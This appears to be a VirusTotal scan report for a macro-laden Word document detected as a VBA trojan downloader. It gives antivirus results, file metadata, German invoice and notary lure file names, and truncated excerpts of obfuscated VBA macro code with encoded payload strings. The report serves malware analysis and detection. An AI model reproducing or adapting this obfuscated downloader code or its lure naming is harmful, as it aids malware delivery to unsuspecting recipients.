Antivirus scan for 76ce2b8a958df49ee30a75405549ae64b0e601b11d20ecd1de0cc31d52b6d9c6 at 2018-03-15 06:52:24 UTC

Antivirus	Result	Update
Arcabit	HEUR.VBA.Trojan.e	20180315
Baidu	VBA.Trojan-Downloader.Agent.cpf	20180315
Fortinet	VBA/Agent.GTW!tr.dldr	20180315
Zoner	Probably W97Obfuscated	20180315
Ad-Aware		20180315
AegisLab		20180315
AhnLab-V3		20180314
Alibaba		20180315
ALYac		20180315
Antiy-AVL		20180315
Avast		20180315
Avast-Mobile		20180314
AVG		20180315
Avira (no cloud)		20180314
AVware		20180315
BitDefender		20180315
Bkav		20180315
CAT-QuickHeal		20180315
ClamAV		20180315
CMC		20180315
Comodo		20180315
CrowdStrike Falcon (ML)		20170201
Cybereason		None
Cylance		20180315
Cyren		20180315
DrWeb		20180315
eGambit		20180315
Emsisoft		20180315
Endgame		20180308
ESET-NOD32		20180315
F-Prot		20180315
F-Secure		20180315
GData		20180315
Ikarus		20180314
Sophos ML		20180121
Jiangmin		20180315
K7AntiVirus		20180315
K7GW		20180315
Kaspersky		20180315
Kingsoft		20180315
Malwarebytes		20180315
MAX		20180315
McAfee		20180315
McAfee-GW-Edition		20180315
Microsoft		20180315
eScan		20180315
NANO-Antivirus		20180315
nProtect		20180315
Palo Alto Networks (Known Signatures)		20180315
Panda		20180314
Qihoo-360		20180315
Rising		20180315
SentinelOne (Static ML)		20180225
Sophos AV		20180315
SUPERAntiSpyware		20180314
Symantec		20180315
Symantec Mobile Insight		20180311
Tencent		20180315
TheHacker		20180311
TrendMicro		20180315
TrendMicro-HouseCall		20180315
Trustlook		20180315
VBA32		20180314
VIPRE		20180315
ViRobot		20180315
Webroot		20180315
WhiteArmor		20180223
Yandex		20180314
Zillya		20180314
ZoneAlarm by Check Point		20180315

The file being studied follows the Compound Document File format! More specifically, it is a MS Word Document file.

Commonly abused properties

The studied file makes use of macros, a macro is a series of commands and instructions that you group together as a single command to accomplish a task automatically. Macros are often abused to perform malicious tasks when working with a document.

May try to run other files, shell commands or applications.

May create OLE objects.

Seems to contain deobfuscation code.

Summary

creation_datetime

2018-03-15 07:35:00

revision_number

author

RnlOtzoW

page_count

last_saved

2018-03-15 07:35:00

template

Normal.dotm

application_name

Microsoft Office Word

character_count

code_page

Latin I

Document summary

line_count

characters_with_spaces

version

1048576

paragraph_count

code_page

Latin I

OLE Streams

[+] Root Entry

[+] \x01CompObj

[+] \x05DocumentSummaryInformation

[+] \x05SummaryInformation

[+] Macros/VBA/ThisDocument

[+] Macros/VBA/_VBA_PROJECT

[+] Macros/VBA/__SRP_0

[+] Macros/VBA/__SRP_1

[+] Macros/VBA/__SRP_2

[+] Macros/VBA/__SRP_3

[+] Macros/VBA/dir

[+] Macros/VBA/fvYKzwPEb

[+] Macros/VBA/jBLkCjpDzSosGR

[+] Macros/VBA/uiArqjoTB

[+] Macros/VBA/waMBmVU

[+] WordDocument

Macros and VBA code streams

[+] uiArqjoTB.bas Macros/VBA/uiArqjoTB 35527 bytes

obfuscated

Function PdIXzNWYC()
On Error Resume Next
Select Case upVMjr
         Case 13734
            HMKOH = Fix(83369)
            EHYLq = Int(65926)
         Case 94285
            DEiXN = jzEXP
            GwzwT = ChrW(IuwSD)
      End Select
FcRFB = GsYPoOQ + vpjjf("w@NL0nTVvNAIDAiBQNAQGAkBQZAcDA1AQZAUDAhBQNAADAxAQZAUGA0AgZAYGAlBQNAEGAkBgNAUGA4AQYAMGAjBgMAcDA1AgZAQDA2AQMT1!ow]YW4h8V[iu%Od<", 20, 97)
Select Case upVMjr
         Case 13734
            HMKOH = Fix(83369)
            EHYLq = Int(65926)
         Case 94285
            DEiXN = jzEXP
            GwzwT = ChrW(IuwSD)
      End Select
Select Case WNrCTY
         Case 89805
            SRMRu = Fix(12413)
            qFRJO = Int(57272)
         Case 5225
            jREdXJ = oDmuaI
            NCIcS = ChrW(fzjKdQ)
      End Select
zVPwGOBwuKu = JNQtUWL + vpjjf("(th@hmrAEDA2AQNAcDAxAAZAEThSp", 5, 18)
Select Case WNrCTY
         Case 89805
            SRMRu = Fix(12413)
            qFRJO = Int(57272)
         Case 5225
            jREdXJ = oDmuaI
            NCIcS = ChrW(fzjKdQ)
      End Select
Select Case EZUChY
         Case 62130
            zjZarj = Fix(76724)
            FFwoD = Int(3465)
         Case 50965
            kstffL = NuQRiD
            ECMjq = ChrW(zRQuib)
      End Select
WvlSGqbj = zXqwLT + vpjjf("Jm1jWD1v$@rjAyAAOAUGAwAQZAUDA5AAZAIDA4AwNAEDAhBAZAUDAxAwNAIGAhBgNAADA4AQOAIGA1AANAADAzAwNAkDAlBQOAUDAwAQYAQDAzAAMAMGAzAgMAgDAiBQOAQGA1AQMAUGAw", 2, 129)
Select Case EZUChY
         Case 62130
            zjZarj = Fix(76724)
            FFwoD = Int(3465)
         Case 50965
            kstffL = NuQRiD
            ECMjq = ChrW(zRQuib)
      End Select
Select Case VijqC
         Case 39929
            KVZurN = Fix(65087)
            oijpi = Int(23444)
         Case 18515
            OjYHvW = SpHpwD
            NfXOko = ChrW(BzbGA)
      End Select
jzpwk = niihC + vpjjf("@IDSZqYra]T7@@Su]bNAYGAyAgYAIGAjBgNAYGAkBgZAkDAmBwYAIGA1AQYAUDA4AQNAkDAjBQYAEGAmBwNAkDAzAgMAYGA3AgYAQDA1AAMAcDAmBQZAIDAxAwMAQDB$j%T%jR", 9, [... continues ...]

[+] jBLkCjpDzSosGR.bas Macros/VBA/jBLkCjpDzSosGR 22679 bytes

obfuscated

Function kOIMIzshaqzKc()
On Error Resume Next
Select Case FEittj
         Case 62176
            MXtaR = Fix(17143)
            PrzObi = Int(65897)
         Case 13871
            OtCzDK = uiOnXh
            SRSAE = ChrW(PGcMt)
      End Select
FcRFB = RZdkW + vpjjf("w@NL0nTVvKsnOUlU%!&&T1!ow]YW4h8V[iu%Od<", 20, 11)
Select Case FEittj
         Case 62176
            MXtaR = Fix(17143)
            PrzObi = Int(65897)
         Case 13871
            OtCzDK = uiOnXh
            SRSAE = ChrW(PGcMt)
      End Select
Select Case NjdRb
         Case 92289
            cHHirv = Fix(6747)
            rspLz = Int(25712)
         Case 9973
            GYzJW = Kwkic
            RZMYVH = ChrW(ZQnWiO)
      End Select
zVPwGOBwuKu = pMkKG + vpjjf("(th@hmrtes&&GWAThSp", 5, 8)
Select Case NjdRb
         Case 92289
            cHHirv = Fix(6747)
            rspLz = Int(25712)
         Case 9973
            GYzJW = Kwkic
            RZMYVH = ChrW(ZQnWiO)
      End Select
Select Case JTRVa
         Case 64305
            GUszad = Fix(19145)
            ZDwjvn = Int(3396)
         Case 95803
            BWdSO = PjKhG
            tkmCG = ChrW(nsVqZ)
      End Select
WvlSGqbj = oMUDAAH + vpjjf("Jm1jWD1v$@rj%w", 2, 1)
Select Case JTRVa
         Case 64305
            GUszad = Fix(19145)
            ZDwjvn = Int(3396)
         Case 95803
            BWdSO = PjKhG
            tkmCG = ChrW(nsVqZ)
      End Select
Select Case zfsRsJ
         Case 29223
            oqJWDB = Fix(51556)
            IALcm = Int(44912)
         Case 59162
            bOmHJ = ICqwA
            GPIPbQ = ChrW(ivrun)
      End Select
jzpwk = FwHDQ + vpjjf("@IDSZqYra]T7@@Su]bTAnCFrzB$j%T%jR", 9, 7)
Select Case zfsRsJ
         Case 29223
            oqJWDB = Fix(51556)
            IALcm = Int(44912)
         Case 59162
            bOmHJ = ICqwA
            GPIPbQ = ChrW(ivrun)
      End Select
Select Case fprul
         Case 83650
            YPWwz = Fix(3556)
            BflFO = Int(68624)
         Case 96787
            [... continues ...]

[+] fvYKzwPEb.bas Macros/VBA/fvYKzwPEb 9065 bytes

obfuscated

Function RpYIJpKlD()
On Error Resume Next
Select Case QnGmiZ
         Case 53121
            zsBAwF = Fix(18797)
            OGLBB = Int(49047)
         Case 88975
            aBZkZ = ANqJZG
            jsVsj = ChrW(wXPPYK)
      End Select
jPzmZhU = IfIYfj + vpjjf("O5iOw2uH$(VtQcjH(u(@Bw7rso(2C%     & nBu", 3, 10)
Select Case QnGmiZ
         Case 53121
            zsBAwF = Fix(18797)
            OGLBB = Int(49047)
         Case 88975
            aBZkZ = ANqJZG
            jsVsj = ChrW(wXPPYK)
      End Select
Select Case zILiJ
         Case 2671
            PQasjl = Fix(95738)
            PLiWhv = Int(78831)
         Case 54522
            owJIS = tkcwqd
            aPrZHw = ChrW(jMlJA)
      End Select
kccoMqGP = CFukj + vpjjf("3r3low(LNYtu%prZ   pL_SP%nBRov", 12, 3)
Select Case zILiJ
         Case 2671
            PQasjl = Fix(95738)
            PLiWhv = Int(78831)
         Case 54522
            owJIS = tkcwqd
            aPrZHw = ChrW(jMlJA)
      End Select
Select Case HvcXL
         Case 19179
            FNsOqW = Fix(14144)
            PutKXF = Int(2977)
         Case 5570
            ZiiPZ = jMZkUM
            jMlmi = ChrW(uLTvY)
      End Select
UCROVYIsqC = jYZiEI + vpjjf("dD7( bfrE%wcItJ", 11, 1)
Select Case HvcXL
         Case 19179
            FNsOqW = Fix(14144)
            PutKXF = Int(2977)
         Case 5570
            ZiiPZ = jMZkUM
            jMlmi = ChrW(uLTvY)
      End Select
Select Case kABBkY
         Case 73119
            IalMK = Fix(65936)
            Izkkqj = Int(2258)
         Case 59049
            JzvSi = wpFinf
            qqwnoM = ChrW(fCDiI)
      End Select
BwvmGJfNBjB = qRFJSRG + vpjjf("F<uvVTI@@SjlZ1.jV(B V/  w]mfcvowd6", 11, 5)
Select Case kABBkY
         Case 73119
            IalMK = Fix(65936)
            Izkkqj = Int(2258)
         Case 59049
            JzvSi = wpFinf
            qqwnoM = ChrW(fCDiI)
      End Select
Select Case zNwbMW
         Case 29605
            SSmbT = Fix(23713)
            kurRf = Int(22709)
     [... continues ...]

[+] waMBmVU.bas Macros/VBA/waMBmVU 1747 bytes

create-ole obfuscated run-file

ExifTool file metadata

SharedDoc

Author

RnlOtzoW

HyperlinksChanged

System

Windows

LinksUpToDate

HeadingPairs

Title, 1

Identification

Word 8.0

Template

Normal.dotm

CharCountWithSpaces

CreateDate

2018:03:15 06:35:00

Word97

LanguageCode

English (US)

CompObjUserType

Microsoft Word 97-2003 Document

ModifyDate

2018:03:15 06:35:00

Characters

CodePage

Windows Latin 1 (Western European)

RevisionNumber

MIMEType

application/msword

Words

FileType

DOC

Lines

AppVersion

16.0

Security

None

Software

Microsoft Office Word

TotalEditTime

Pages

ScaleCrop

CompObjUserTypeLen

FileTypeExtension

doc

Paragraphs

LastPrinted

0000:00:00 00:00:00

DocFlags

Has picture, 1Table, ExtChar

File identification

MD5 c621ddf29f0c39932755b333a044c13b

SHA1 d78ca2663ef45efb28bf2bc817d601741d16d2ae

SHA256 76ce2b8a958df49ee30a75405549ae64b0e601b11d20ecd1de0cc31d52b6d9c6

ssdeep

1536:o6iqrEFyeSEJ+a9PRcvOz53V1ksTCynwpCnPHA4lnxuZc+Rq85a/2xNL1l8TMa+J:o6iqkLRp53r3CYzcZc+0exFosfxJdVF

File size 178.0 KB ( 182272 bytes )

File type MS Word Document

Magic literal

CDF V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: RnlOtzoW, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Mar 14 06:35:00 2018, Last Saved Time/Date: Wed Mar 14 06:35:00 2018, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0

TrID	Microsoft Word document (54.2%) Microsoft Word document (old ver.) (32.2%) Generic OLE2 / Multistream Compound File (13.5%)

VirusTotal metadata

First submission 2018-03-15 06:52:24 UTC ( 11 months, 1 week ago )

Last submission 2018-06-23 04:17:09 UTC ( 8 months ago )

File names

Rechnungs-Details #869005840547.doc
RECHNUNG 24751 #325989824.doc
Dokumente vom Notar #823408165995.doc
Dokumente vom Notar
Dokumente #3571500518.doc
#47258379.doc
Dokumente vom Notar #753147212475.doc
output.112982786.txt
output.112982785.txt
Rechnung Nr.01568 #910518385790.doc
Rechnung #350444695.doc
c621ddf29f0c39932755b333a044c13bb2311fe3_Trojan.Script.Agent.gen
Dokumente vom Notar #306455521.doc
Informationen #69487539.doc
Informationen #94974222.doc
Rechnung #3070233.doc
Rechnung #4501734243.doc
Rechnung #50212649161.doc
Information #17749765.doc
Information #55806531043.doc
index.html.140
Dokumente #275696332558.doc
Dokumente _3571500518.doc
RECHNUNG 12206 #2306308.doc
output.112987308.txt

SHA256:	76ce2b8a958df49ee30a75405549ae64b0e601b11d20ecd1de0cc31d52b6d9c6
File name:	Information #6483288.doc
Detection ratio:	4 / 59
Analysis date:	2018-03-15 06:52:24 UTC ( 11 months, 1 week ago ) View latest

Ciphered bundle

Commonly abused properties

Summary

Document summary

OLE Streams

Macros and VBA code streams

ExifTool file metadata

File identification

VirusTotal metadata

Leave your comment...

Recover your password

Join VirusTotal Community

Sign in